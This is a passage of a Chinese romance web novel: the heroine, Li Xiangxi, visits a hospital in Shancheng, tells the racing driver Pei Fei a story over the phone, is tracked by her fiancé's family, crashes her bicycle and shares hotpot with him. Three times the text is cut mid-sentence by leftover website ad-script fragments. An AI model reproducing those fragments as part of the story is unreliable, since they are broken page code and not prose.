“看吧,没事,年轻人体力好,休息一段时间就恢复了。”黎向浠笑着说。 李阿姨连连点头,抹掉眼尾挂了许久的泪滴,神色缓和下来。 等她儿子出来,李阿姨和他叮嘱几句,让家里的亲戚帮忙照看,两人又急匆匆转去找小孙女了。 中途,黎向浠去给李阿姨儿媳买补身子的营养,给小孩子买衣服和奶粉尿不湿,李阿姨推脱,黎向浠还是要买,然后扛着一大堆以前没接触过的东西,去往妇幼医院。 李阿姨的儿媳很瘦,躺在床上跟纸片一样,身体还没恢复。估计是无意间知道了孩子爸出车祸的事,她急得嘴唇泛白,见她们过来就紧张兮兮盯着,听见李阿姨笑着说没事了,她才长舒一口气。 见黎向浠过来,她又赶紧要起身。 黎向浠走去扶她,“别别别,你身体还没恢复,不要那么大动作。” 黎向浠腾出她们聊天的空间,去给她们洗水果,削水果,给小女娃冲奶粉。 刚出生几天的孩子很小,黎向浠一个拇指都快赶上她一个小拳头了,躺在保温箱里,睡得美滋滋。 黎向浠下到医院的院子里散心,她坐在长椅上,点开手机,时间显示夜里一点,这才想起来,她还没有给裴非打语音。 为了不打扰他,黎向浠还是先打字:【你睡了吗?】 裴非回了一个:【。】 黎向浠不知道他这个符号是什么意思,但至少说明他还没有睡,于是她试着按下通话。 响了两声,对面接听了。 奔波一天,她声音有些疲惫,黎向浠清了清喉咙,“你回老宅了吗?” 对面,裴非抬眼看了一下四周,淡淡说:“没有。” 裴非撒谎了。 此刻,他就坐在阳台上,老宅没有开灯,身后书房一片漆黑,今晚的京北是个阴天,气温偏凉,他穿了一件夹克外套,鸭舌帽扣在桌子上。 他刚刚试图重演昨晚的景象,让自己睡个好觉,但闭眼一个多小时,眉间越发烦躁,只好就着夜空的一片乌云,点了一支烟。 黎向浠并不知道,听到他的回答,她肩膀褪去负罪感地松下来,“那就好,李阿姨家里出事,我陪她回了山城,忘了和你说,早上还让你回老宅,幸好,不然你回去了也无聊。” 裴非没有回答,只是又吸了一口烟,一阵凉风吹过,将白雾带走得一干二净。 黎向浠坐在椅子上,晃着腿。 山城的天空繁星点点,风里还是夏季燥热的温度,蚊子在耳边嗡嗡,还有一只咬在她膝盖,黎向浠用力一拍。 “我刚刚打死了一只蚊子,它咬我的膝盖。”她跟裴非汇报着。 裴非紧了紧手指,垂眸,看一眼自己的长衣长裤,哪有蚊子,连小动物都没了叫声。 “嗯。”裴非回。 黎向浠在蚊子包上掐了个十字,她满意地嘿嘿一声,靠着长椅,望向天空。 “今晚的星星好亮啊,月亮也很亮,你那边看得见吗?” 裴非跟着抬眼,还是那片乌云,一动不动,但还能看见月亮的位置,雾蒙蒙中一个斑斑点点的亮。 “嗯。”裴非又沉沉应。 “谢谢你,李阿姨的手机,我的护具和药水。”黎向浠语气很日常,没有拔高音调了。 裴非一阵沉默,院子里只有京北初秋的风,吹起树叶沙沙作响。 山城晚风炎热,黎向浠抹掉脸颊的薄汗,笑着继续说:“我本来想买礼物送给你,当做答谢,但是又觉得你好像什么也不缺。” 黎向浠觉得,裴非的家境,想要什么有什么,她送的礼物又很便宜,似乎派不上大用场。 “要不这样,我给你讲个故事吧?其实我讲故事很厉害的,这些也是黎蔓教我的,小时候我跟黎蔓住在一个筒子楼的单间,那个单间的窗户是烂的。” “晚上下雨,床单淋湿了,黎蔓就抱着我在椅子上睡觉,我睡不着,黎蔓就给我讲恐怖故事。她讲得绘声绘色,我很快就睡着了。”黎向浠扯着衣服上的线头。 “哦对了,是恐怖故事噢,如果你害怕听这些的话,可能我就不会说别的了,只能是什么海的儿女,白雪公主那些,哈哈哈哈哈哈哈 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。”黎向浠用手做了个望远镜放在眼前,自顾自笑着。 裴非很想拒绝,就像许子炀说的那样,他很少听别人的电话,更别提微信通话。 但他听得出,黎向浠提到黎蔓之后,嘴巴越来越多了,他不想打扰。 他将手机放到桌面,重新拿起烟,打火机咔哒一声,在漆黑的夜里亮起明明灭灭的火光,裴非吸了一口气,白雾蔓延进肺部,这次没有风,但出来的时候,光线太暗,基本看不见了,就像他的情绪那样,匿在黑夜里。 “你在忙吗?”黎向浠只听到响声,她以为裴非还在工作,“打扰到你的话……” 黎向浠的话没有说完,裴非打开一瓶酒,倒进装了冰块的杯子,玻璃和玻璃碰撞,叮当响了两声。 “你在喝酒吗?”黎向浠又问他。 “嗯。”裴非咬着烟应。 “喝酒跟故事最配了!”黎向浠没有管裴非答不答应,她直接开始讲起了故事。 “一百多年前,山城周边有一个小县城……” 裴非抓着杯子的手停住。 黎向浠的声音像昨晚那样,她总是能知道在哪里放缓,在哪里急促,像是正在经历一般,即使被电子设备过滤,也是瑕不掩瑜。 裴非放回酒杯,将通话外放,周遭环境像是知道今晚会有这样的场景一般,静悄悄,风不吹了,树叶都不叨扰。 他闭上眼睛,仿佛置身一个空旷电影院,四面墙播放着黎向浠话语里的场景。 黎向浠讲故事的时候,有一个习惯,她的脑子里会出现画面,她的耳朵和眼睛,对外界是关闭的状态。 等她把故事的结局说完,睁开眼,院子里的人大都回了病床,电话那头也早就没了动静,她不知道裴非到底有没有听,是不是把手机一扔晾着她,至少通话还在进行,她就当他还在听了。 能一口气说完那么多话,讲完黎蔓给她说过的故事,黎向浠心情舒缓了很多,原本近乡情怯,她很想回筒子楼看一看的,但应该不行。 黎向浠小声喊:“裴非?裴非?” 对面没有回应,黎向浠挂了电话,返回病房已经是半夜三点。 第二天一早,害怕向家和沈家知道她突然回山城,对黎蔓不利。黎向浠还是没能看一眼故乡的风景,又上了去京北的飞机。 裴非接到李阿姨电话时,他正在赶往训练场的路上。 他昨晚不知道怎么入睡的,醒来时,手边的玻璃杯里,装着和昨晚一样的酒,冰块早已融化不见。只抽了两口的烟掉落在地上,烟头连着长长的灰烬,熄灭了。 他还是一整晚都没有做梦,没有惊醒,尽管后半夜吹风,他也睡得沉。这让裴非不自觉笑出来了。 太阳落在挡风玻璃,照亮了帽檐底下的阴影,裴非按下接听键,淡淡回:“说。” 李阿姨:“裴先生,我家里出事,黎小姐昨晚跟我回山城,一夜没睡,今早又赶着回京北,已经上飞机了,我不太放心,如果您有时间可以去看看她。” 裴非拧眉,察觉李阿姨似乎误会了什么,他冷冷说:“成年人坐飞机没有危险,这不是我的义务。” 李阿姨声音弱下去,转了话锋道:“黎小姐给我放了三个月假,不扣我工钱,我觉得拿着心不安,还是跟您说一声,如果您觉得不合适,也没有关系。” “按她说的来。” 挂断电话,裴非加速前往基地。 路过上次白色大众的位置,裴非扫一眼显示屏的时间,鬼使神差打下了转向灯。 黎向浠抵达京北是早上九点多,一夜没睡,飞机上两个小时也睡不好,刚落地,黎向浠就觉得脚底打飘。 昏昏沉沉跟着人群出了航站楼。 她靠在路灯下打哈欠,准备找出租回老宅,突然冒出一辆商务车停在她跟前。 黑色西装的司机下车,打开后座车门,没有商量地说:“黎小姐,请。” - 13. 保护他 布加迪停在航站楼外半个多小时,手机摆在中控台,界面上,显示着某趟航班的落地时间。 驾驶座,男人带着黑色鸭舌帽,光线从挡风玻璃射进来,又被帽檐阻挡,在脸上留下大片阴影,他单手撑在车窗,骨节分明的手抵着下巴,眼神冷冷觑向窗外。 机场外一整排等着客人的出租车,根本不需要担心交通问题。 裴非也不知道自己怎么会出现在这里,或许他只是想暗地里感谢一下黎向浠,她这两天确实让他拥有了高质量的睡眠。 但此时,裴非看见黎向浠出来的下一秒,沈推凡名下的卡宴就停到黎向浠跟前,上面走下来一位沈家的司机,说了两句,黎向浠就上车了。 裴非收回视线,舌头抵在后槽牙处,扯出一个耐人寻味的笑容。 笑自己多此一举,再不济,她也会跟沈推凡结婚。 手机响起,裴非按下接听键,许子炀无奈的声音传来,“大哥,大早上你跑哪里去了?昨晚不是说好今早给他们体能训练吗?你居然会食言,鬼上身了?” 裴非顿了一下,看向窗外,卡宴慢慢启动,掉头,融入他前方的道路。 他最近好像真的做了许多奇怪的事情,比如现在,他又撒谎了。 “堵车。” 裴非挂断电话,沉了一口气,烦闷扔掉鸭舌帽,抽出烟,就着还不算强烈的太阳,猛吸一口,青白色的烟雾在车厢蔓延,如同是落了雪,气氛冰冰凉凉。 一支烟结束,布加迪绕开卡宴的路线,从另一条路开往训练场。 与此同时,卡宴车内,黎向浠一夜没睡,眼袋颜色加深,眼尾透着疲惫。 她搓了搓手臂。 空调温度太低,吹得她直起鸡皮疙瘩,车厢有一股很厚重的香水味,像是夜店泡了一周那样,加上一夜没睡又一路颠簸,她有些反胃。 这次是她没见过的司机,但和上次的一样,不太爱搭理她。 “你怎么知道我在这里?”黎向浠试探问。 司机瞥一眼后视镜,语气平平,“沈总查到您的航班,让我把您接回去。” 黎向浠无奈吐气,果然被她猜中了,她只要离开京北,沈家和向家就会立刻察觉,然后派人找她回去。 她没再开口,余光看向后视镜。 卡宴后方,百米开外,平日风驰电掣的布加迪,少有地减速慢行,同卡宴保持着距离。 透过玻璃窗,黎向浠看不见驾驶人的脸,但能看见抓着方向盘的双手,附满强而有力的青筋,在太阳底下,皮肤白到发光。 帽檐阴影下,她察觉到一丝冰冷的眸光,不知道是在看她,还是在看这辆车。 黎向浠顿住,裴非怎么会在这里? 她回头,十字岔口,布加迪打灯右拐,干干净净消失在卡宴身后路段上。 黎向浠突然想起裴非要她保密的事情,如果司机回到老宅,发现布加迪不在了,肯定猜出来是裴非开走的。这就完蛋了,她就真得一个人住在老宅,孤苦伶仃了。 对于现在的她来说,裴非是唯一一个能自由进出老宅,又不被沈推凡防备,还可以变成朋友的人。 时至今日,她依旧觉得,裴非躲着沈推凡,是因为弟弟顽皮要飙车了。毕竟裴非知道她和沈推凡的关系之后,对她的态度好了许多,比如会和她道歉。 她觉得,这只是因为,裴非觉得他们是一家人。 黎向浠拍了拍驾驶座,“我还没有吃早饭,到了市区你放我下去,我吃完再去买点东西,自己回去就好。” 这一次,她语气是冷的,有些吩咐的意味。 司机透过后视镜,眼神戏谑了一番,点头答应。他随便选了一家购物广场,就放她下去了。 卡宴从眼前开走,消失在市区热闹的街头,顾不上熬夜带来的缭乱的视线,黎向浠立刻拿出手机,按下裴非的语音通话。 彼时,裴非已经抵达基地训练室,他换上无袖运动服,露出线条流畅的肌肉,叉腰站在机器前,面色沉沉,眼神锐利。 训练室,倒蹬机上,一个个队员汗流浃背,哀嚎不断,痛苦不堪。 今天要练的是腿部肌肉。 赛车手需要在几百米内,控制车辆短时间刹停,这期间,赛车手踩下刹车,需要用到150公斤左右的力量,所以腿部训练对赛车手来说,必不可少。 许子炀喝着冰镇饮料,在队员后方来回踱步,指手画脚地冷嘲热讽,“啧啧啧,让你们平时偷懒,这下好了,裴非练你们,总不能说我要求高了吧?” 许子炀喝了一口饮料,故作炫耀,“啊~舒坦。” 又继续贱兮兮,“这是人家裴非的日常,看看,为什么人家能拿冠军,你们呢?一个个富二代,受着……” 嗡- 话没说完,裴非身侧椅子上的手机震动,打断许子炀的“训话”。 裴非只是睨了一眼手机。 黎向浠打来的,裴非估算着,这个点黎向浠应当还没到老宅,或许是沈推凡接她走,她打来告别的。 走了就走了,反正也没有什么太多交集。 裴非挂断语音通话。 恰好,有一两个队员趁机偷懒,裴非一个冷眼投出去,厉声说:“加速。” 吓得许子炀放到嘴边的饮料,又慢慢收起来,好像在吼他一样,怯生生收紧肩膀。 见鬼了,裴非跟个炸药一样。 嗡- 又是一阵震动。 裴非顶了一下后槽牙,神色烦闷地关机,扔到椅子上,走去杨余瑞身侧的倒蹬机。 锻炼的动作干脆流畅又标准,旁边人一个个苦不堪言,裴非面不改色,本就没什么感情的五官,在此刻像是冻了三年的冰块,训练室气压低到地底下。 旁边的杨余瑞更是被他吓得欲哭无泪,不敢偷懒,体力又跟不上,他皱巴巴跟许子炀打眼神求救。 许子炀耸耸肩看向天花板:管不了,他不听我的。 裴非眸光觑过去,杨余瑞一个冷颤,累得呲牙咧嘴,还是继续练起来。 这边,黎向浠急得原地围着路灯杆子绕了三圈,裴非还是没接听,她就发消息。 等了好久没收到裴非的回答,她叹了一口气,听天由命。 太阳到了正午,与早上的清凉不同,空气是干燥的热,刺得皮肤生疼,熬了一整夜,她现在觉得周围建筑都在转圈圈。 黎向浠在附近随便吃了一碗面,恢复体力,打车返回老宅补觉,再醒来已经是下午四点。 李阿姨不在,冰箱也没有吃的,黎向浠想去附近的超市,但走过去要好远,她已经没有力气了,于是,她骑着自行车出去了。 太阳接近西沉,空气有点凉飕飕的意味,黎向浠慌张的身子在地上拉出很长一段影子。她骑得还不太熟练,尽管别墅区的柏油路平坦,她还是走出了S形的路线。 一路磕磕绊绊,车子停在超市前,黎向浠走进去逛了一圈,看见山城的火锅,她想起来还没有答谢裴非送护具还有送李阿姨手机的恩情,于是她拿出手机,又给裴非发了消息。 等了十分钟,依旧没有回应,她索性打字发过去。 裴非手机关机了一天,他结 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 束针对性体能训练,在基地宿舍冲了个澡,浴巾裹在腰间,刚锻炼结束,腹肌胸肌弘二头肌都是充血的状态,饱满又不过分,是好看的线条。 头发半干耷拉着,脸上氤氲水汽,像是上了一层模糊的滤镜,皮肤更细腻了。 他坐到电竞椅上,开机,微信噔噔噔地跳出各种信息。 聊天页面挂着许多红点,最上方,还是黎向浠。 裴非眉间拢起,他点进去。 上午十一点左右,有两个未接语音。 还有几串文字: 【裴非你刚刚是在机场吗?我好像看见你的车子了,机场有沈推凡的司机,他是来接我的,但我没有让他回老宅,我怕他看见你的车子不在,知道你也住在老宅,就让他半路离开了。】 【我也不知道司机为什么会突然出现,可能是因为我不打招呼就离开京北,让他们起了疑心,抱歉啊,我不是故意的。】 【不过现在好了,司机已经走了,他好像只是单纯过来确认我落地京北了而已,你不用担心,等我回去给你探探路。】 裴非指尖顿住,漆瞳闪过一丝错愕。 沈推凡在监视黎向浠的活动轨迹。 脑子里划过好多年前他偷偷回国的场景,黑云压城的傍晚,四面八方围追堵截的商务车,孤零零逃亡的跑车,在郊区道路上演一出蔑视一切的追逐,似乎只要他消失,活不活无所谓那样撵着他。 裴非心底五味杂陈。 黎向浠跟他说这些消息的时候,似乎很急,她都忘了自己典型的开场白:裴非早上好!裴非下午好!裴非晚上好! 那句奇怪的“给你探探路”,好像她跟他是一个阵营那般。 因为自己置之不理的关机,裴非眼底有了不起眼的内疚,他继续往下划。 傍晚五点左右。 黎向浠:【裴非傍晚好!】 果然,典型的开场白。 裴非颔首,眼神泛起笑意。 黎向浠:【我回到老宅一段时间了哦,这里并没有沈推凡的人,你可以放心回来了。对了!我现在在超市,你有什么想吃的东西吗?我买回去,晚上给你弄吃的,当做答谢,上次护具的事情,还没有当面跟你说声谢谢呢!】 十多分钟后。 黎向浠:【你太久没有回答,我就随便买了哟,不知道你的习惯,我就按照自己爱吃的买,嘿嘿~】 【图片】 照片里是一辆购物车,里面装满各种下火锅的黄喉毛肚豌豆尖。 没有更多消息了。 裴非将手机反扣在桌子上,揉着鼻梁,犯难。 他并不想和黎向浠有太多接触,但是…… 布加迪踩在最后一道夕阳,缓缓开在别墅柏油路上,像是习惯了飞奔的猛兽,为了某一刻风景放缓脚步那样。 前方是一辆蓝白色的自行车,车把手悬挂着两个满满当当的超市购物袋,车上的女生背影单薄,两个胳膊纤细但很努力使劲。 尽管如此,自行车依旧晃晃悠悠,一米的距离拐了七八个弯,摇摇欲坠。 骑车的人因为高度紧张,并没有发现这辆布加迪跟她了一路。 余晖落进驾驶座,映在裴非胜雪的面孔上,漆黑如墨的瞳孔染了橘色调的暖意,他就这样慢慢看着,看她到底什么时候能发现他,或者什么时候,能挪动到家。 须臾,前方的车突然一个大拐弯,像是失控撞过来,裴非瞳孔打颤,一阵急刹。 自行车还是直直撞向布加迪车头,摔在地上,女生消失出裴非的视线范围。 - 14. 触碰他 黎向浠结账出来才发现,她估算错了自己的能力,两个接近五公斤的袋子挂在车头,自行车链条瞬间变成没有抹润滑油又生锈的齿轮,本就不熟练,这下更难把控方向了。 好在回别墅的路上没几辆车,黎向浠贴着马路牙子,推车过红绿灯。 到了柏油路路段她才敢骑上去。 把控方向的手臂抓得用力,抖得颤颤巍巍,自行车也跟癫痫一样,晃晃悠悠,没几分钟,黎向浠额头已经冒大汗了,其实也才骑出去几十米。 不一会,前轮碾过一个小石子,车头突然失控,黎向浠使劲拽住,让自行车来了个原地掉头。 下坡路段,自行车就带着她直溜溜往下冲,撞向不远处的私家车,摔了个四仰八叉。 袋子里的苹果滚到路中间,怕路过的车子碾碎,黎向浠急急忙忙捂着手臂要起来。 驾驶座车门打开,走下来一个身形颀长的男人,弯腰去捡掉在脚边的苹果,男人巴掌很大,修长白皙,节骨分明的指尖抵在上面,像是威胁苹果不准乱动那样,充斥着压迫感。 黎向浠看清楚来人,咧开嘴欢喜喊:“裴非!” 一整天不回她的消息,还以为裴非不搭理她了,没想到直接出现,黎向浠有些意外。 裴非走来,单膝蹲在她跟前,没什么表情地将掉落的苹果放进袋子。 夕阳洒下一片金红,将裴非黑的的头发染了淡淡的棕色,黑色上衣的肩头有一道很小的蓝色条纹点缀,抵消了他肤色的冰冷。 他看向她手臂,眸色深邃,“受伤了?” 黎向浠抬起胳膊,手肘上,原本结痂的伤口又划开了,黑红混合,周边染了点点灰尘。 她摇摇头,笑容依旧灿烂,“一点点,没关系,不疼。” 黎向浠要拍掉灰尘,裴非迅速拦住她,她的手猝不及防搭在他手背上。 裴非手背的青筋很密,皮肤粗糙肌肉紧实,很硬朗,刮在她掌心,酥酥麻麻。裴非的体温比她高,皮肤温度如同初秋的风,清爽,又存有夏末最后的热气。 “怎么啦?”黎向浠眉眼弯弯,并不觉得这个肢体接触有任何不妥,只觉得是朋友之间的关心,所以没有拿开。 “会感染。” 裴非抽走手,将两个袋子拿开,把自行车抬起来,又停下动作,余光看向地上的女生。 见她自己撑着手站起来,一副没事人那样拍走身上的灰尘。裴非沉下肩膀,唇线似有若无提了提,带着东西去往后备箱。 偌大的别墅路段静悄悄,迎着落日余晖,只有布加迪稳稳开在回老宅的路上。 车厢内,黎向浠接过裴非递来的湿纸巾,她认出来了,上次修车时,她给他的那包。 原本包装袋染过他手上的机油,但现在干干净净,和裴非这个人一样,他似乎永远这样,不沾染任何东西,也不沾染任何香味。 黎向浠抽出一张,将剩余的还回抽屉里,嘴角笑意不止。 “你看到我给你发的消息了吗?你今早是在机场的吧?我确认了车牌号,我那会儿太困了,应该没有看走眼。后来想给你打语音说一说,但你一直没有接。” 她叽叽喳喳的声音填满车厢,裴非只是淡淡“嗯”了一声。 黎向浠疑惑抬头,不太明白他这个字回答的是哪个问题。 裴非又补一句:“看见了,在机场。” “噢噢,幸好,哎?不过大早上你去机场干什么?是许子炀又出国了吗?” “……嗯。” 这个字,裴非用一半的咳嗽代替,他想,弄成她听错的假象,就不算他撒谎了。 黎向浠果真没听出来,她脑袋抵着车窗,看向落日的位置,语气憧憬说:“真好,他可以随便乱跑。” 她现在出不了京北,身份证一使用,沈家和向家立刻警觉,可能是觉得她对沈推凡没有感情,两家人怕她跑了,到时候驳面子,所以看得严一些,黎向浠没有多余的心思去思索为什么,徒增烦恼。 太阳没有了中午的攻击力,看上去像一颗深橘色的柿子,黄昏时段,光线深深,黎向浠看得入迷,连车子慢慢减速了都没发现。 裴非透过反光镜,看着那圆碌碌的脑袋。 对那句话,裴非起了少有的身同感受。 可以随便乱跑,真好。 看久了夕阳的样子,黎向浠突然有些想吃柿子了,她撅了撅嘴,将不开心的想法瞬间抛之脑后。 紧接着,她思考起今天的晚餐,发现一个新的问题,她迅速回头,盯向裴非,恢复了拔高音量的语调说:“噢!你没有回我的问题!” 这一下,差点抓住裴非透过反光镜看她的视线。 裴非眨走眼,车子顺势加速。 黎向浠没坐稳,哎哟一声撞了靠背,头发散开,她却拍着胸口嘎嘎笑,“好突然哈哈哈哈哈看来我还需要多练练胆子!” 知道裴非是赛车手,以为急停急加速是日常,黎向浠并没觉得他哪里不对。 裴非只是蜷了蜷手指,不去解释。 她扒开碎发,凑到他旁边问:“我不知道你爱吃什么,就随便买了,哦对了,我上次其实列了一个吃火锅的清单,放在桌子上,后来找不到了,你有看见吗?你是不是跟向日葵一起扔了?那个不是草稿纸,那是我列的计划。” 裴非回忆起被他打湿的纸张,他小幅度点头,打下左转,顺便将视线转向左边,错开她的眼神。 黎向浠噗呲一笑,“没关系啦,我到时候再写一张就行,到时候我重新请你吃一顿,就是今晚凑合一下,材料不全。” - 火锅架好后,已经到了晚上八点。 黎向浠站在楼梯口敲着平底锅,弄出热闹的声音,仰头朝二楼喊:“吃饭啦吃饭啦!裴非下来吃饭啦!” 叮叮当当的声音打破了老宅的宁静,院子的小鸟飞走两只,树叶唰唰作响。 黎向浠不确定裴非会不会跟她一起吃,毕竟回到这里之后,裴非就把自己关进房间了,也没有和她说话。 她伸着脖子看过去,那扇门打来,透出一丝白炽灯的光线,黎向浠嘴角跟着上扬。 裴非站在那,他脱了鸭舌帽,头发蓬松清爽,让他看上去多了几分少年感。 他走出来,站在楼梯上,看着她。 黎向浠立刻往旁边站,让出一个位置指着餐桌,兴致冲冲说:“快去快去,我不知道你能不能吃辣,没敢给你弄调料,你自己去选!” 火锅滚得很厉害,淡白色的水汽氤氲,缭绕着往天花板走,在老宅偏暗的光线里并不明显。 裴非只是垂头,细嚼慢咽一颗牛肉丸,碎发微微盖住眼睛,投下一片阴影。 黎向浠拿着公筷和勺子,张着大眼在锅里捞着各种菜,捞出来又抖掉花椒,夹到裴非碗里。 “这个好吃,你试试。”她眸光亮晶晶看着裴非。 裴非将豌豆尖夹起又放下,像是掌控了黎向浠的嘴角那样,她的笑容也跟着落下去。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>“你不爱吃这个吗?没关系,给我吧。” 她把自己的碗推过去,那根豌豆尖,在裴非用过的碗里打滚过,沾染了他的口水的。 火锅的热气让裴非冷白的脸颊有了些血色,因为吃了辣椒,深邃的瞳孔变得缱绻几分。 “为什么要我回来住?”裴非看着她,瞳色深深。 即使是一起吃过饭了,他的语气也是冷冷的质问,并没有亲近多少。 黎向浠愣住,慢慢将自己的碗收回跟前。 想起第一次让裴非回老宅住,他让她别总想那些事情,闪烁的大眼睛落下去,黎向浠有些委屈说:“因为我自己住很无聊,房子太大了,真的只是因为这样,没有别的。” 真的不是馋你的身子。 裴非阖下眼皮,欲言又止,最后只是轻轻咳嗽了一声。 黎向浠抬头,暗下去的眼神又亮起来,“真的?你以后回来住吗?” 裴非:? 她又听错了,这次他真的只是清了清喉咙,她以为他同意了。 裴非没有解释,他垂下眼,眉间舒展地吃下那根豌豆尖。 “耶!以后晚餐吃什么,我都提前问你!你有什么想吃的也可以给我说,我厨艺不太好,如果你觉得不好吃,也可以提出来!” 黎向浠喜笑颜开,至少以后,她不用一个人对着空荡荡的客厅吃饭了。 裴非睫毛触动,攥着筷子,不知道要做什么反应。 恰好,桌上的手机亮起,一个没有备注的手机号发过来短信,将他好不容易舒展的神色拧回去。 【回一个字也行,你知道我很担心你。】 黎向浠看见了尾号,跟初见时候的信息是一样的。 裴非快速刷走那条信息,将手机收回口袋,起身离开位置。 看着挺括的背影拢上一团朦胧的薄雾,黎向浠嘴巴张了又闭,不知道对面是谁,所以不知道怎么安慰。 夜深了,黎向浠呈大字形躺在床上,眼睛圆滚滚。下午睡多了,现在毫无困意,因为刚刚的吵闹,好像赶跑了许多动物,今晚的夜静得吓人。 黎向浠拿出手机,给黎蔓发了一条语音:“妈妈,我今天好像交到了一个朋友,虽然他心事很重,而且不太爱说话,以及……他表面上看……不太喜欢我……” 说到这儿,黎向浠吐了吐舌头,毕竟从表面上看,裴非似乎真的不喜欢她,但不是的,他似乎只是看上去凶巴巴的而已,毕竟她提的要求,他都没有拒绝过。 关上手机,黎向浠还是精神抖擞,她下床,踮着脚尖去了书房。 不一会儿,收放自如婉转好听的声音传出书房窗外,飘向阳台,落到男人耳朵内。 月明星稀,院子月影斑驳,男人坐在椅子上,模糊的光线也盖不住硬朗轮廓上的惆怅,薄长的眼睛没什么感情地看着手机界面。 是未删去的消息。 除了今年的两条生日快乐,就是去年的两条生日快乐。 裴非沉沉扯出一支烟,摸索打火机时,女生悠扬的语调传来后,裴非紧绷的唇线松散,那支烟在指腹转了转,又被放回去了。 黎向浠每天晚上录制的有声书,似乎代替了他消减烦忧的烟,像是圈出一个隔绝世事的播放厅,他在里面能短暂地忘掉那些乱七八糟的事情。 伴着徐徐吹来的风,裴非眼皮阖下,肩膀如释重负地靠在椅子上,节骨分明的手放在桌面,指尖一下一下转动着一把法拉利车钥匙。 - 15. 投喂他 清晨,院子里薄雾缭绕,空气是带着水汽的凉爽。 黎向浠睡颜稀松,打着哈欠伸懒腰,打开卧室门。 对面,紧闭了临近一个月的红木门同时打开了。 裴非穿着黑色的无袖,鸭舌帽勾在指尖,骨节分明的手指揉搓着额头蓬松的碎发,冷冰冰的五官多了一份不易察觉的慵懒。 “早上好裴非!”黎向浠挥手打招呼,元气的嗓音,并没有因为睡眠而沉下去。 裴非顿了一下,随手将帽子戴到头上,盖住视线,简单“嗯”了一声。 黎向浠小碎步跟在裴非身后下楼,“你要去哪里啊?” “跑步。”裴非的声音还没打开,是清晨低沉的磁性。 “吃早餐吗?我准备冲燕麦,你喜欢吃吗?或者你爱吃面包?三明治?” “不用。” “你别跟我客气,一份也是弄,两份也是弄。” “我带回来。” 裴非压下帽檐,大步离开客厅,只留下黎向浠站在原地,不知道要做什么。 裴非说他会带早餐回来,意思就是,她不用弄了。 又没有活干了。 她去到院子里,站在榕树底下,布加迪车顶落了两片叶子,黎向浠捡走,望向院子铁栏杆门外。 路上空无一人,地面是晨露留下的湿润,柏油路变得灰蒙蒙的,裴非不知道去哪里晨跑,早已没了影子。 黎向浠百无聊赖绕着院子走了两圈,当做她也锻炼了。院子外面柏油路上传来一阵黏糊糊的猫叫,在偌大的别墅区孤零零的,像是找不到家的奶猫。 她寻声走去,百米处,有一只黑不溜秋的小猫,没走近的时候,它黑到黎向浠都看不见它的五官,像一颗掉落在路中间的煤碳。 黎向浠在它跟前蹲下,小猫朝她睁眼,水汪汪的眼珠,萌得黎向浠扬起声音喊,“小猫咪~” 小猫有她两个巴掌那样大,很干净,不像是流浪猫。不过一大早就出来,还在这里叫唤,黎向浠又不确定了。 她想,也有可能是因为它黑色的毛发,所以看不出来脏。 小猫铁栏杆处走来走去,并不怕人,但也不让黎向浠摸,她一伸手,它就窜到一边。 想来是它饿了,黎向浠回厨房拿了一根火腿,撕开喂到它跟前,小猫并不吃,还在门口处转悠。 以为是它不敢吃陌生人手里的东西,黎向浠将火腿掰下来一小块,放到地上,自己跟做贼一样蹲到不远处观察。 小猫嗅了嗅,继续朝院子里面叫唤,没有搭理火腿。 难道是不爱吃这个? 黎向浠又回了厨房,拿出昨晚火锅没来得及下的小鱿鱼,放在掌心递给小猫。 还来不及逗它,身后传来脚步声,黎向浠转头,扯开嘴角喊:“裴非!你回来……啊!” 黎向浠说到一半,表情皱巴巴起来。 小猫不知为何突然挠了她手背一爪子,留下两道渗血的印子,急匆匆蹿开了。 裴非快步过来,单膝蹲在她跟前,他看着小猫离去的方向,拧眉问:“怎么了?” 晨跑运动唤醒全身的肌肉,露在外面的胳膊线条诱人,他脸颊有薄雾留下的氤氲水汽,视觉上看,像是皮肤嫩得出水。 “不知道。”黎向浠甩甩手,试图通过起风缓解一下伤口的刺痛,“我就是想喂它一点吃的,不知道怎么了,它就挠我了。” 裴非查看一眼她的伤口,将早餐递给她,“等着。” 黎向浠接过,想要问他做什么,裴非已经回了院子。 她只好站在原地,吹着手背。 伤口不深,却有种钝刀割过的感觉,又痛又辣。 不一会儿,裴非开着布加迪停在黎向浠跟前,按下车窗。 “上车,去打针。” “打针?!”黎向浠惊愕抱紧了早餐,“不……不用了吧?小猫咪而已,它都可能打过疫苗了,再说了,也不疼,就是……” 滴- 裴非按下喇叭打断她,转头,眼睛薄长,眸光深邃看过来。 黎向浠拗不过,乖乖上车。 “又不严重,干嘛非得打针,小猫又不是故意的……” 黎向浠一边吹着伤口,一边嘴巴不停。 裴非并不接话,只是自顾自开着车,也没说去哪里。 等到了别墅区外第一个红绿灯路口,车子才停了停。 这条街跟别墅区天差地别,早晨会有很多大爷大妈托着菜篮子步履匆忙,或者是在街边晨跑抻手运动,早餐店烟气袅袅,上班族排队买包子,路上一边吃一边赶时间,各自忙碌在对应的岗位上,和山城稀松平常的工作日大差不差。 黎向浠看着他们,嘴巴抿成一条线,想起来,以前她也是里面的一员。 车厢突然安静下来,裴非透过反光镜,悄无声息看向黎向浠怀里的早餐,淡淡说:“吃一些。” 黎向浠望着窗外努嘴,长长叹了一口气说:“好吧,我知道空腹打针不好,我只是不喜欢打针,每次扎那一下,我都跟掉了魂一样,激灵一番,黎蔓以前总笑我,说我打针好玩,只要扎那一下骗骗我就行。” 她知道自己又想黎蔓了,黎蔓带她去医院的时候,也会先让她吃饱再打针。黎蔓还说,她小时候手臂胖得跟藕节一样,去打疫苗,护士姐姐都捏她,说她是年画里的肚兜娃娃。 红绿灯没过,布加迪还停在原地,裴非的余光大胆了些看向副驾驶。 黎向浠自言自语的时候,像是入了神,眼睛盯着前方的路面,但脑子已经飞走了,像是上课开小差的学生,在溜号。 “狂犬疫苗我小时候就打过了,我妈妈带我去的,这样应该可以不用再打了吧?小猫咪而已,它看上去真的不像是流浪猫,我……” 她喋喋不休,明里暗里全是不想去打针,裴非那时候觉得可爱。 后来他知道那是黎向浠对黎蔓的思念,他就不觉得可爱了。 红绿灯过了,裴非转走眼,踩下油门。 